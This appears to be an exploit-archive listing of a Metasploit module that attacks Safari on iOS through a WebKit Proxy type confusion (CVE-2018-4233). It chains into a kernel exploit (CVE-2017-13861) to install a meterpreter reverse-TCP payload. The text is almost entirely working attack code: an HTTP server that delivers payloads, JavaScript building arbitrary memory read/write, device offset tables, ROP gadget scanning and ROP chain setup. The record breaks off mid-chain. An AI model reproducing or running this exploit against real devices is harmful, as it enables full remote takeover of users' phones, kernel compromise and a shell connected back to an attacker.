Safari Webkit Proxy Object Type Confusion

2019.06.03
Credit: saelo
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Safari Webkit Proxy Object Type Confusion', 'Description' => %q{ This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233). The type confusion leads to the ability to allocate fake Javascript objects, as well as the ability to find the address in memory of a Javascript object. This allows us to construct a fake JSCell object that can be used to read and write arbitrary memory from Javascript. The module then uses a ROP chain to write the first stage shellcode into executable memory within the Safari process and kick off its execution. The first stage maps the second stage macho (containing CVE-2017-13861) into executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake exploit leads to a kernel task port (TFP0) that can read and write arbitrary kernel memory. The processes credential and sandbox structure in the kernel is overwritten and the meterpreter payloads code signature hash is added to the kernels trust cache, allowing Safari to load and execute the (self-signed) meterpreter payload. }, 'License' => MSF_LICENSE, 'Author' => [ 'saelo', 'niklasb', 'Ian Beer', 'siguza', ], 'References' => [ ['CVE', '2018-4233'], ['CVE', '2017-13861'], ['URL', 'https://github.com/saelo/cve-2018-4233'], ['URL', 'https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1417'], ['URL', 'https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js'], ], 'Arch' => ARCH_AARCH64, 'Platform' => 'apple_ios', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' }, 'Targets' => [[ 'Automatic', {} ]], 'DisclosureDate' => 'Mar 15 2018')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]), OptBool.new('DUMP_OFFSETS', [false, "Show newly found offsets in a javascript prompt", false]), ]) end def exploit_data(directory, file) path = ::File.join Msf::Config.data_directory, 'exploits', directory, file ::File.binread path end def payload_url "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}" end def get_version(user_agent) if user_agent =~ /OS (.*?) like Mac OS X\)/ ios_version = Gem::Version.new($1.gsub("_", ".")) return ios_version end fail_with Failure::NotVulnerable, 'Target is not vulnerable' end def on_request_uri(cli, request) if request.uri =~ %r{/apple-touch-icon*} return elsif request.uri =~ %r{/favicon*} return elsif request.uri =~ %r{/payload10$*} payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib_sha1 send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'}) print_good("Sent sha1 iOS 10 payload") return elsif request.uri =~ %r{/payload11$*} payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'}) print_good("Sent sha256 iOS 11 payload") return end user_agent = request['User-Agent'] print_status("Requesting #{request.uri} from #{user_agent}") version = get_version(user_agent) ios_11 = (version >= Gem::Version.new('11.0.0')) if request.uri =~ %r{/exploit$} loader_data = exploit_data('CVE-2017-13861', 'exploit') srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr) config = [srvhost, srvport].pack("Nn") + payload_url payload_url_index = loader_data.index('PAYLOAD_URL') loader_data[payload_url_index, config.length] = config print_good("Sent async_wake exploit") send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) return end get_mem_rw_ios_10 = %Q^ function get_mem_rw(stage1) { var structs = []; function sprayStructures() { function randomString() { return Math.random().toString(36).replace(/[\^a-z]+/g, "").substr(0, 5) } for (var i = 0; i < 4096; i++) { var a = new Float64Array(1); a[randomString()] = 1337; structs.push(a) } } sprayStructures(); var hax = new Uint8Array(4096); var jsCellHeader = new Int64([0, 16, 0, 0, 0, 39, 24, 1]); var container = { jsCellHeader: jsCellHeader.asJSValue(), butterfly: false, vector: hax, lengthAndFlags: (new Int64("0x0001000000000010")).asJSValue() }; var address = Add(stage1.addrof(container), 16); var fakearray = stage1.fakeobj(address); while (!(fakearray instanceof Float64Array)) { jsCellHeader.assignAdd(jsCellHeader, Int64.One); container.jsCellHeader = jsCellHeader.asJSValue() } memory = { read: function(addr, length) { fakearray[2] = i2f(addr); var a = new Array(length); for (var i = 0; i < length; i++) a[i] = hax[i]; return a }, readInt64: function(addr) { return new Int64(this.read(addr, 8)) }, write: function(addr, data) { fakearray[2] = i2f(addr); for (var i = 0; i < data.length; i++) hax[i] = data[i] }, writeInt64: function(addr, val) { return this.write(addr, val.bytes()) }, }; var empty = {}; var header = memory.read(stage1.addrof(empty), 8); memory.write(stage1.addrof(container), header); var f64array = new Float64Array(8); header = memory.read(stage1.addrof(f64array), 16); memory.write(stage1.addrof(fakearray), header); memory.write(Add(stage1.addrof(fakearray), 24), [16, 0, 0, 0, 1, 0, 0, 0]); fakearray.container = container; return memory; } ^ get_mem_rw_ios_11 = %Q^ function get_mem_rw(stage1) { var FPO = typeof(SharedArrayBuffer) === 'undefined' ? 0x18 : 0x10; var structure_spray = [] for (var i = 0; i < 1000; ++i) { var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff} ary['prop'+i] = 1 structure_spray.push(ary) } var manager = structure_spray[500] var leak_addr = stage1.addrof(manager) //print('leaking from: '+ hex(leak_addr)) function alloc_above_manager(expr) { var res do { for (var i = 0; i < ALLOCS; ++i) { structure_spray.push(eval(expr)) } res = eval(expr) } while (stage1.addrof(res) < leak_addr) return res } var unboxed_size = 100 var unboxed = alloc_above_manager('[' + '13.37,'.repeat(unboxed_size) + ']') var boxed = alloc_above_manager('[{}]') var victim = alloc_above_manager('[]') // Will be stored out-of-line at butterfly - 0x10 victim.p0 = 0x1337 function victim_write(val) { victim.p0 = val } function victim_read() { return victim.p0 } i32[0] = 0x200 // Structure ID i32[1] = 0x01082007 - 0x10000 // Fake JSCell metadata, adjusted for boxing var outer = { p0: 0, // Padding, so that the rest of inline properties are 16-byte aligned p1: f64[0], p2: manager, p3: 0xfffffff, // Butterfly indexing mask } var fake_addr = stage1.addrof(outer) + FPO + 0x8; //print('fake obj @ ' + hex(fake_addr)) var unboxed_addr = stage1.addrof(unboxed) var boxed_addr = stage1.addrof(boxed) var victim_addr = stage1.addrof(victim) //print('leak ' + hex(leak_addr) //+ ' unboxed ' + hex(unboxed_addr) //+ ' boxed ' + hex(boxed_addr) //+ ' victim ' + hex(victim_addr)) var holder = {fake: {}} holder.fake = stage1.fakeobj(fake_addr) // From here on GC would be uncool // Share a butterfly for easier boxing/unboxing var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8]) var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8] holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly) var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8] function set_victim_addr(where) { holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10) } function reset_victim_addr() { holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly } var stage2 = { addrof: function(victim) { boxed[0] = victim return f2i(unboxed[0]) }, fakeobj: function(addr) { unboxed[0] = i2f(addr) return boxed[0] }, write64: function(where, what) { set_victim_addr(where) victim_write(this.fakeobj(what)) reset_victim_addr() }, read64: function(where) { set_victim_addr(where) var res = this.addrof(victim_read()) reset_victim_addr() return res; }, write_non_zero: function(where, values) { for (var i = 0; i < values.length; ++i) { if (values[i] != 0) this.write64(where + i*8, values[i]) } }, readInt64: function(where) { if (where instanceof Int64) { where = Add(where, 0x10); holder.fake[(victim_addr + 8 - leak_addr) / 8] = where.asDouble(); } else { set_victim_addr(where); } boxed[0] = victim_read(); var res = f2i(unboxed[0]); reset_victim_addr(); return new Int64(res); }, read: function(addr, length) { var address = new Int64(addr); var a = new Array(length); var i; for (i = 0; i + 8 < length; i += 8) { v = this.readInt64(Add(address, i)).bytes() for (var j = 0; j < 8; j++) { a[i+j] = v[j]; } } v = this.readInt64(Add(address, i)).bytes() for (var j = i; j < length; j++) { a[j] = v[j - i]; } return a }, test: function() { this.write64(boxed_addr + 0x10, 0xfff) // Overwrite index mask, no biggie if (0xfff != this.read64(boxed_addr + 0x10)) { fail(2) } }, } // Test read/write stage2.test() return stage2; } ^ get_mem_rw = (version >= Gem::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10 utils = exploit_data "CVE-2018-4233", "utils.js" int64 = exploit_data "CVE-2018-4233", "int64.js" dump_offsets = '' if datastore['DUMP_OFFSETS'] dump_offsets = %Q^ var offsetstr = uuid + " : { "; var offsetarray = [ "_dlsym", "_dlopen", "__longjmp", "regloader", "dispatch", "stackloader", "movx4", "ldrx8", "_mach_task_self_", "__kernelrpc_mach_vm_protect_trap", "__platform_memmove", "__ZN3JSC30endOfFixedExecutableMemoryPoolE", "__ZN3JSC29jitWriteSeparateHeapsFunctionE", "__ZN3JSC32startOfFixedExecutableMemoryPoolE", ]; for (var i = 0; i < offsetarray.length; i++) { var offset = offsets[offsetarray[i]]; if (offset) { var offsethex = Sub(offset, cache_slide).toString().replace("0x0000000", "0x"); offsetstr += "\\"" + offsetarray[i] + "\\" : " + offsethex + ", "; } } offsetstr += "}, "; prompt("offsets: ", offsetstr); ^ end html = %Q^ <html> <body> <script> #{utils} #{int64} print = alert; ITERS = 1E4; ALLOCS = 1E3; var conversion_buffer = new ArrayBuffer(8); var f64 = new Float64Array(conversion_buffer); var i32 = new Uint32Array(conversion_buffer); var BASE32 = 0x100000000; function f2i(f) { f64[0] = f; return i32[0] + BASE32 * i32[1]; } function i2f(i) { i32[0] = i % BASE32; i32[1] = i / BASE32; return f64[0]; } function hexit(x) { if (x instanceof Int64) return x.toString(); if (x < 0) return "-" + hex(-x); return "0x" + x.toString(16); } function fail(x) { print('FAIL ' + x); location.reload(); throw null; } counter = 0; // CVE-2018-4233 function trigger(constr, modify, res, val) { return eval(` var o = [13.37] var Constructor${counter} = function(o) { ${constr} } var hack = false var Wrapper = new Proxy(Constructor${counter}, { get: function() { if (hack) { ${modify} } } }) for (var i = 0; i < ITERS; ++i) new Wrapper(o) hack = true var bar = new Wrapper(o) ${res} `) } var workbuf = new ArrayBuffer(0x1000000); var payload = new Uint8Array(workbuf); function pwn() { var stage1 = { addrof: function(victim) { return f2i(trigger("this.result = o[0]", "o[0] = val", "bar.result", victim)) }, fakeobj: function(addr) { return trigger("o[0] = val", "o[0] = {}", "o[0]", i2f(addr)) }, test: function() { var addr = this.addrof({ a: 4919 }); var x = this.fakeobj(addr); if (x.a != 4919) fail("stage1") } }; stage1.test(); var stage2 = get_mem_rw(stage1); var FPO = #{ios_11 ? "(typeof(SharedArrayBuffer) === 'undefined') ? 0x20 : 0x18;" : "0x18;"} var memory = stage2; memory.u32 = _u32; var wrapper = document.createElement("div"); var wrapper_addr = stage1.addrof(wrapper); var el_addr = memory.readInt64(wrapper_addr + FPO); var vtab = memory.readInt64(el_addr); var anchor = memory.readInt64(vtab); var hdr = Sub(anchor, anchor.lo() & 0xfff); var b = []; while(true) { if (memory.readInt64(hdr).lo() == 4277009104) { fail('WebCore ' + hdr + ' post spectre support coming soon'); } if(strcmp(memory.read(hdr, 0x10), "dyld_v1 arm64")) { break; } hdr = Sub(hdr, 0x1000); } var base_seg = null; var nsegs = memory.u32(Add(hdr, 0x14)); var segdata = memory.read(Add(hdr, memory.u32(Add(hdr, 0x10))), nsegs * 0x20); var segs = []; for(var i = 0; i < nsegs; ++i) { var off = i * 0x20; var seg = { addr: new Int64(segdata.slice(off + 0x0, off + 0x8)), size: new Int64(segdata.slice(off + 0x8, off + 0x10)), fileoff: new Int64(segdata.slice(off + 0x10, off + 0x18)), maxprot: b2u32(segdata.slice(off + 0x18, off + 0x1c)), initprot: b2u32(segdata.slice(off + 0x1c, off + 0x20)) }; segs.push(seg); if(seg.fileoff.hi() == 0 && seg.fileoff.lo() == 0 && (seg.size.hi() != 0 || seg.size.lo() != 0)) { base_seg = seg; } } if(base_seg == null) { fail("base_seg"); } var cache_slide = Sub(hdr, base_seg.addr); var uuid = memory.readInt64(Add(hdr, 0x58)).lo(); var offset_cache = { // iPod Touch 10.1.1 788795426 : { "_dlsym" : 0x18052ddd8, "_dlopen" : 0x18052dd10, "__longjmp" : 0x1806ffb78, "regloader" : 0x180f0622c, "dispatch" : 0x180d7e058, "stackloader" : 0x18099a8e8, "_mach_task_self_" : 0x1a586e3bc, "__kernelrpc_mach_vm_protect_trap" : 0x1806240a4, "__platform_memmove" : 0x1806ffe00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a457c438, }, // iPhone 5S 10.2.1 3432281541 : { "_dlsym" : 0x18052edd8, "_dlopen" : 0x18052ed10, "__longjmp" : 0x180700b78, "regloader" : 0x180f07230, "dispatch" : 0x180d7f05c, "stackloader" : 0x18099b8ec, "mach_task_self" : 0x1a6da23bc, "__kernelrpc_mach_vm_protect_trap" : 0x1806250c0, "__platform_memmove" : 0x180700e00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a5a0d438, }, // iPhone 6S 11.0.3 425478416 : { "_dlsym" : 0x180587574, "_dlopen" : 0x180587460, "__longjmp" : 0x1807bd7dc, "regloader" : 0x180051ad8, "dispatch" : 0x19b323a4c, "stackloader" : 0x19b2e6f40, "movx4" : 0x19b33305c, "ldrx8" : 0x180060028, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1b15d8a00, "__ZN3JSC29jitWriteSeparateHeapsFunctionE" : 0x1b15d8a08, "__ZN3JSC32startOfFixedExecutableMemoryPoolE" : 0x1b15d89f8, }, }; var offsets = offset_cache[uuid]; if (offsets) { var k = Object.keys(offsets); for(var i = 0; i < k.length; ++i) { var s = k[i]; offsets[s] = Add(offsets[s], cache_slide); } } else { var syms = {}; var gadgets = {}; for(var i = 0; i < segs.length; ++i) { segs[i].addr = Add(segs[i].addr, cache_slide); } var libs = { "/usr/lib/system/libdyld.dylib": ["_dlsym", "_dlopen"], #{ ios_11 ? ' "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC29jitWriteSeparateHeapsFunctionE"], "/usr/lib/system/libsystem_platform.dylib": ["__longjmp"], ' : ' "/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"], "/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"], "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC30endOfFixedExecutableMemoryPoolE"], '} } #{ ios_11 ? ' var opcodes = { // ldr x8, [sp] ; str x8, [x19] ; ldp x29, x30, [sp, #0x20] ; ldp x20, x19, [sp, #0x10] ; add sp, sp, #0x30 ; ret "ldrx8": [ [0xf94003e8, 0xf9000268, 0xa9427bfd, 0xa9414ff4, 0x9100c3ff, 0xd65f03c0] ], // blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret "dispatch": [ [ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ] ], // mov x3, x22 ; mov x6, x27 ; mov x0, x24 ; mov x1, x19 ; mov x2, x23 ; ldr x4, [sp] ; blr x8 "regloader": [ [ 0xaa1603e3, 0xaa1b03e6, 0xaa1803e0, 0xaa1303e1, 0xaa1703e2, 0xf94003e4, 0xd63f0100 ] ], // ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30]; // ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret "stackloader": [ [ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ] ], // mov x4, x20 ; blr x8 "movx4": [ [ 0xaa1403e4, 0xd63f0100 ] ], } var opcode_libs = [ "/usr/lib/PN548.dylib", // dispatch, stackloader "/usr/lib/libc++.1.dylib", // ldrx8, regloader, movx4, stackloader ]; ' : ' var opcodes = { // mov x0, x23; mov x1, x22; mov x2, x24; mov x3, x25; mov x4, x26; mov x5, x27; blr x28 "regloader": [ [ 0xaa1703e0, 0xaa1603e1, 0xaa1803e2, 0xaa1903e3, 0xaa1a03e4, 0xaa1b03e5, 0xd63f0380 ] ], "dispatch": [ // blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret [ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ], // blr x21; sub sp, x29, 0x20; ldp x29, x30, [sp, 0x20]; ldp x20, x19, [sp, 0x10]; ldp x22, x21, [sp], 0x30; ret [ 0xd63f02a0, 0xd10083bf, 0xa9427bfd, 0xa9414ff4, 0xa8c357f6, 0xd65f03c0 ], ], "stackloader": [ // ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30]; // ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret [ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ], // sub sp, x29, 0x50; ldp x29, x30, [sp, 0x50]; ldp x20, x19, [sp, 0x40]; ldp x22, x21, [sp, 0x30]; // ldp x24, x23, [sp, 0x20]; ldp x26, x25, [sp, 0x10]; ldp x28, x27, [sp], 0x60; ret [ 0xd10143bf, 0xa9457bfd, 0xa9444ff4, 0xa94357f6, 0xa9425ff8, 0xa94167fa, 0xa8c66ffc, 0xd65f03c0 ], ], }; var opcode_libs = [ "/usr/lib/libLLVM.dylib" ]; '} var imgs = Add(hdr, memory.u32(Add(hdr, 0x18))); var nimgs = memory.u32(Add(hdr, 0x1c)); for(var i = 0; i < nimgs; ++i) { var straddr = off2addr(segs, memory.u32(Add(imgs, i * 0x20 + 0x18))); var fn = function(i) { return memory.read(Add(straddr, i), 1)[0]; }; var base = Add(memory.readInt64(Add(imgs, i * 0x20)), cache_slide); if(opcode_libs.some(lib => strcmp(fn, lib))) { var ncmds = memory.u32(Add(base, 0x10)); for(var j = 0, off = 0x20; j < ncmds; ++j) { var cmd = memory.u32(Add(base, off)); if(cmd == 0x19 && strcmp(memory.read(Add(base, off + 0x8), 0x10), "__TEXT")) // LC_SEGMENT_64 { var nsects = memory.u32(Add(base, off + 0x40)); for(var k = 0, o = off + 0x48; k < nsects; ++k) { if(strcmp(memory.read(Add(base, o), 0x10), "__text")) { var keys = Object.keys(opcodes).filter(k=>!gadgets.hasOwnProperty[k]) if (keys.length == 0) break; var addr = Add(memory.readInt64(Add(base, o + 0x20)), cache_slide) var size = memory.u32(Add(base, o + 0x28)) // Copy the entire __text region into a Uint32Array for faster processing. // Previously you could map a Uint32Array over the data, but on i7+ devices // this caused access violations. // Instead we read the entire region and copy it into a Uint32Array. The // memory.read primitive has a weird limitation where it's only able to read // up to 4096 bytes. to get around this we'll read multiple times and combine // them into one. var allData = new Uint32Array(size / 4) for (var r = 0; r < size; r += 4096) { // Check to ensure we don't read out of the region we want var qty = 4096 if (size - r < qty) { qty = size - r } var data = memory.read(Add(addr, r), qty) // Data is an array of single bytes. This code takes four entries // and converts them into a single 32-bit integer. It then adds it // into the `allData` array at the given index for (var h = 0; h < qty; h += 4) { var fourBytes = b2u32(data.slice(h, h + 4)) allData[(r + h) / 4] = fourBytes } } // Loop through the entire data map looking for each gadget we need for (var f = 0; f < size && keys.length > 0; f++) { // Check every gadget for (var z = 0; z < keys.length; z++) { var key = keys[z]; var opcode_list = opcodes[key]; for (var y = 0; y < opcode_list.length; y++) { var opcode = opcode_list[y]; for (var t = 0; t < opcode.length; t++) { var op = allData[f+t]; if (op == opcode[t]) { if (t == opcode.length - 1) { gadgets[key] = Add(addr, f*4); keys.splice(z, 1); z = keys.length; break; } continue; } break; } } } } break; } o += 0x50; } break; } off += memory.u32(Add(base, off + 0x4)); } continue; } var lookup = null; for(var k = Object.keys(libs), j = 0; j < k.length; ++j) { if(strcmp(fn, k[j])) { lookup = libs[k[j]]; break; } } if(lookup != null) { fsyms(memory, base, segs, lookup, syms); } } var vals = Object.keys(libs).map(function(key) { return libs[key]; }); var k = vals.reduce(function(p,c){ c.forEach(function(e){ p.push(e) });return p; }, []); for(var i = 0; i < k.length; ++i) { var s = k[i]; if(syms[s] == null) { fail(s); } syms[s] = Add(syms[s], cache_slide); } k = Object.keys(opcodes); for(var i = 0; i < k.length; ++i) { var s = k[i]; if(gadgets[s] == null) { fail(s); } } offsets = {} offsets["regloader"] = gadgets["regloader"]; offsets["dispatch"] = gadgets["dispatch"]; offsets["stackloader"] = gadgets["stackloader"]; offsets["ldrx8"] = gadgets["ldrx8"]; offsets["movx4"] = gadgets["movx4"]; offsets["__longjmp"] = syms["__longjmp"]; offsets["__kernelrpc_mach_vm_protect_trap"] = syms["__kernelrpc_mach_vm_protect_trap"]; offsets["__platform_memmove"] = syms["__platform_memmove"]; offsets["_dlopen"] = syms["_dlopen"]; offsets["_dlsym"] = syms["_dlsym"]; offsets["_mach_task_self_"] = syms["_mach_task_self_"]; offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC32startOfFixedExecutableMemoryPoolE"]; offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC30endOfFixedExecutableMemoryPoolE"]; offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] = syms["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]; if (offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] != null) { offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"], 8); } #{ ios_11 ? ' if (offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] != null) { offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"], 8); }' : ''} #{dump_offsets} } var regloader = offsets["regloader"]; var dispatch = offsets["dispatch"]; var stackloader = offsets["stackloader"]; var longjmp = offsets["__longjmp"]; var mach_vm_protect = offsets["__kernelrpc_mach_vm_protect_trap"]; var memmove = offsets["__platform_memmove"]; var dlopen = offsets["_dlopen"]; var dlsym = offsets["_dlsym"]; var task_self = offsets["_mach_task_self_"] var endOfFixedMem = offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"]; var startOfFixedMem = offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"]; var ldrx8 = offsets["ldrx8"]; // might be null var movx4 = offsets["movx4"]; // might be null var mach_task_self_ = new Int64(memory.readInt64(task_self).lo()); var memPoolEnd = memory.readInt64(endOfFixedMem); var memPoolStart = Int64.Zero; if (startOfFixedMem) { memPoolStart = memory.readInt64(startOfFixedMem); } var jitWriteSeparateHeaps = Int64.Zero; if (offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]) { jitWriteSeparateHeaps = memory.readInt64(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]); } var shsz = new Int64("0x100000"); var paddr = memory.readInt64(Add(stage1.addrof(payload), 0x10)); var codeAddr = Sub(memPoolEnd, shsz); codeAddr = Sub(codeAddr, codeAddr.lo() & 0x3fff); memory.writeInt64(Add(vtab, 0x18), longjmp); memory.writeInt64(Add(el_addr, 0x58), stackloader); // x30 (gadget) var arrsz = 0x100000, off = 0x1000; var arr = new Uint32Array(arrsz); var stack = memory.readInt64(Add(stage1.addrof(arr), 0x10)); var pos = arrsz - off; var add_call_llvm = function(func, x0, x1, x2, x3, x4, jump_to) { x4 = x4 || Int64.Zero // in stackloader: arr[pos++] = 0xdead0010; // unused arr[pos++] = 0xdead0011; // unused arr[pos++] = 0xdead0012; // unused arr[pos++] = 0xdead0013; // unused arr[pos++] = dispatch.lo(); // x28 (gadget for regloader) arr[pos++] = dispatch.hi(); // x28 (gadget for regloader) arr[pos++] = 0xdead0014; // x27 (unused) arr[pos++] = 0xdead0015; // x27 (unused) arr[pos++] = x4.lo(); // x26 == x4 (arg5) arr[pos++] = x4.hi(); // x26 == x4 (arg5) arr[pos++] = x3.lo(); // x25 == x3 (arg4) arr[pos++] = x3.hi(); // x25 == x3 (arg4) arr[pos++] = x2.lo(); // x24 == x2 (arg3) arr[pos++] = x2.hi(); // x24 == x2 (arg3) arr[pos++] = x0.lo(); // x23 == x0 (arg1) arr[pos++] = x0.hi(); // x23 == x0 (arg1) arr[pos++] = x1.lo(); // x22 == x1 (arg2) arr[pos++] = x1.hi(); // x22 == x1 (arg2) arr[pos++] = func.lo(); // x21 (func) arr[pos++] = func.hi(); // x21 (func) arr[pos++] = 0xdbad0018; // x20 (unused) arr[pos++] = 0xdbad0019; // x20 (unused) arr[pos++] = 0xdead001a; // x19 (unused) arr[pos++] = 0xdead001b; // x19 (unused) var tmppos = pos; arr[pos++] = Add(stack, tmppos*4 + 0x40).lo(); // x29 arr[pos++] = Add(stack, tmppos*4 + 0x40).hi(); // x29 arr[pos++] = regloader.lo(); // x30 (first gadget) arr[pos++] = regloader.hi(); // x30 (first gadget) // after dispatch: arr[pos++] = 0xdead0020; // unused arr[pos++] = 0xdead0021; // unused arr[pos++] = 0xdead0022; // unused arr[pos++] = 0xdead0023; // unused arr[pos++] = 0xdead0024; // x22 (unused) arr[pos++] = 0xdead0025; // x22 (unused) arr[pos++] = 0xdead0026; // x21 (unused) arr[pos++] = 0xdead0027; // x21 (unused) arr[pos++] = 0xdead0028; // x20 (unused) arr[pos++] = 0xdead0029; // x20 (unused) arr[pos++] = 0xdead002a; // x19 (unused) arr[pos++] = 0xdead002b; // x19 (unused) tmppos = pos; arr[pos++] = Add(stack, tmppos*4 + 0x70).lo(); // x29 arr[pos++] = Add(stack, tmppos*4 + 0x70).hi(); // x29 arr[pos++] = jump_to.lo(); // x30 (gadget) arr[pos++] = jump_to.hi(); // x30 (gadget) } var add_call_via_x8 = function(func, x0, x1, x2, x3, x4, jump_to) { //alert(`add_call_via_x8: ${func}(${x0}, ${x1}, ${x2}, ${x3}, ${x4}, ${jump_to})`); //x4 = x4 || Int64.One // in stackloader: arr[pos++] = 0xdead0010; // unused arr[pos++] = 0xdead0011; // unused arr[pos++] = 0xdead0012; // unused arr[pos++] = 0xdead0013; // unused arr[pos++] = 0xdead1101; // x28 (unused) arr[pos++] = 0xdead1102; // x28 (unused) arr[pos++] = 0xdead0014; // x27 == x6 (unused) arr[pos++] = 0xdead0015; // x27 == x6 (unused) arr[pos++] = 0xdead0016; // x26 (unused) arr[pos++] = 0xdead0017; // x26 (unused) arr[pos++] = x3.lo(); // x25 == x3 (arg4) arr[pos++] = x3.hi(); // x25 == x3 (arg4) arr[pos++] = x0.lo(); // x24 == x0 (arg1) arr[pos++] = x0.hi(); // x24 == x0 (arg1) arr[pos++] = x2.lo(); // x23 == x2 (arg3) arr[pos++] = x2.hi(); // x23 == x2 (arg3) arr[pos++] = x3.lo(); // x22 == x3 (arg4) arr[pos++] = x3.hi(); // x22 == x3 (arg4) arr[pos++] = func.lo(); // x21 (target for dispatch) arr[pos++] = func.hi(); // x21 (target for dispatch) arr[pos++] = 0xdead0018; // x20 (unused) arr[pos++] = 0xdead0019; // x20 (unused) var tmppos = pos; arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19]) arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19]) arr[pos++] = 0xdead001c; // x29 (unused) arr[pos++] = 0xdead001d; // x29 (unused) arr[pos++] = ldrx8.lo(); // x30 (next gadget) arr[pos++] = ldrx8.hi(); // x30 (next gadget) // in ldrx8 if (x4) { arr[pos++] = stackloader.lo(); arr[pos++] = stackloader.hi(); } else { arr[pos++] = dispatch.lo(); // x8 (target for regloader) arr[pos++] = dispatch.hi(); // x8 (target for regloader) } arr[pos++] = 0xdead1401; // (unused) arr[pos++] = 0xdead1402; // (unused) arr[pos++] = 0xdead1301; // x20 (unused) arr[pos++] = 0xdead1302; // x20 (unused) arr[pos++] = x1.lo(); // x19 == x1 (arg2) arr[pos++] = x1.hi(); // x19 == x1 (arg2) arr[pos++] = 0xdead1201; // x29 (unused) arr[pos++] = 0xdead1202; // x29 (unused) arr[pos++] = regloader.lo(); // x30 (next gadget) arr[pos++] = regloader.hi(); // x30 (next gadget) // in regloader // NOTE: REGLOADER DOES NOT ADJUST SP! // sometimes i didn't get expected value in x4 // and i have no fucking idea why // usleep likely did the trick, but I would still keep the code // with movx4 //arr[pos++] = x4.lo() // x4 (should be -- but see lines above) //arr[pos++] = x4.hi() // x4 (should be -- but see lines above) if (x4) { // in stackloader: arr[pos++] = 0xdaad0010; // unused arr[pos++] = 0xdaad0011; // unused arr[pos++] = 0xdaad0012; // unused arr[pos++] = 0xdaad0013; // unused arr[pos++] = 0xdaad1101; // x28 (unused) arr[pos++] = 0xdaad1102; // x28 (unused) arr[pos++] = 